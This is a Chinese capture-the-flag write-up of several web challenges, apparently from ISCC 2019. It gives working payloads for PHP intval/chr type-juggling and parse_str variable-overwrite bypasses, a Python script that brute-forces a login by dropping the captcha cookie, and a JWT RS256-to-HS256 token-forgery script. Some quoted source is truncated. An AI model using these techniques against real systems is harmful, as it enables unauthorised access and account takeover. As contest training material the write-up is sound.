源码如下
32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '
', PHP_EOL;
echo $flag, '
';
}
}
highlight_file(__FILE__);
关键代码
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '
', PHP_EOL;
echo $flag, '
';
}
查php手册资料得知chr()函数是 值除以256取余数,这里我们需要自己数组来chr()为w3lc0me_To_ISCC2019
1.chr为自动取模256,所以我们我们可以在原来数值加上256的倍数
2.intval()在处理16进制存在问题时存在漏洞,即当intval(字符串)为0,但是intval(字符串+1)会自动转换成数值的(php7里面修复了这个东西)
var_dump(intval('0x2')) //int(0)字符串形式输入
var_dump(intval('0xa'+1)) //int(11)数值形式输入
3.intval()在处理科学计数法时同处理十六进制一样的原理(不知道修复了没有),所以也可以用科学计数法绕过intval()函数。
var_dump(intval('2e2')) //int(2)字符串形式输入
var_dump(intval('2e2'+1)) //int(201)数值形式输入
4.intval()也可以用$password=’2332.99999999999999999999’来绕过,无法绕过时,继续增加9的数量,直到可以绕过为止。
5.intal()不能用八进制,十进制绕过
所以我们可以构造payload
http://39.100.83.188:8001/?value[]=0x177&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2e4
1.我们先讲一下验证码机制原理,验证码在后端被绘制好后会将生成的字符串保存在session中,当客户端输入验证码完毕后,会提交到后端与session比较。
2.本题中有个漏洞是,如果没有向服务器请求验证码,就不产生session,不带上cookie访问的话,那么验证码就形同虚设,而且密码是三位数字,所以可以进行暴力破解。
3.可以用burp抓包暴力破解,注意的是要把请求头的Cookie去掉。
4.也可以用Python脚本:
import requests
# session = requests.Session()
for i in range(1, 999):
password = str(i)
if len(password) == 1:
password = '00' + password
elif len(password) == 2:
password = '0' + password
r = requests.post("http://39.100.83.188:8002/login.php", data = {'username': 'admin', 'pwd': password, 'Login': 'submit'})
r.encoding = 'unicode'
print(password + ' ' + r.text)
if r.text != '密码错误':
break
源码:
");
}
echo $flag;
}
}else{
show_source(__FILE__);
}?>
1.parse_str存在变量覆盖漏洞,从URL得到的查询字符串,会被解析为变量并设置到当前作用域。
2.所以我们将hashed_key覆盖为我们想要的值即可,sha256(“glzjin”)=b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371,payload 如下:
/?action=auth&key=glzjin&hashed_key=b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371
1.抓包可以找到Authorization,所以应该是考察JWT。
2.可以直接到https://jwt.io/ 解码。本题可以直接在这个网页得到公钥,不过也可以查看网页源码看到/static/js/common.js,
最后有一段
function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}`
这里有得到公钥的另一个方法。
3.我们尝试更改alg所指的算法,将其从RS256这种非对称加密改成HS256这种对称加密,这样我们有公钥就可以伪造JET Token从而而所欲为了。
4.用得到的公钥写Python脚本来伪造令牌。(这里jwt如果用最新版本的模块会报错)
#!/usr/bin/env python
import jwt
import base64
public = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----"
print(jwt.encode({"name": "fangjun","priv": "admin"}, key=public, algorithm='HS256'))
5.得到的JWT Token可以抓包修改Authorization头,也可以直接按F12在本地储存(LocalStorage)中修改token的值然后可以得到我们想要的东西。
6.然后访问/text/admin:22f1e0aa7a31422ad63480aa27711277。
7.得到flag。
参考链接
https://www.anquanke.com/post/id/145540#h2-11
https://www.cnblogs.com/dliv3/p/7450057.html#%E9%99%84-%E7%9B%B8%E5%85%B3%E5%B7%A5%E5%85%B7
https://blog.csdn.net/weixin_34357267/article/details/87578554
https://xz.aliyun.com/t/2338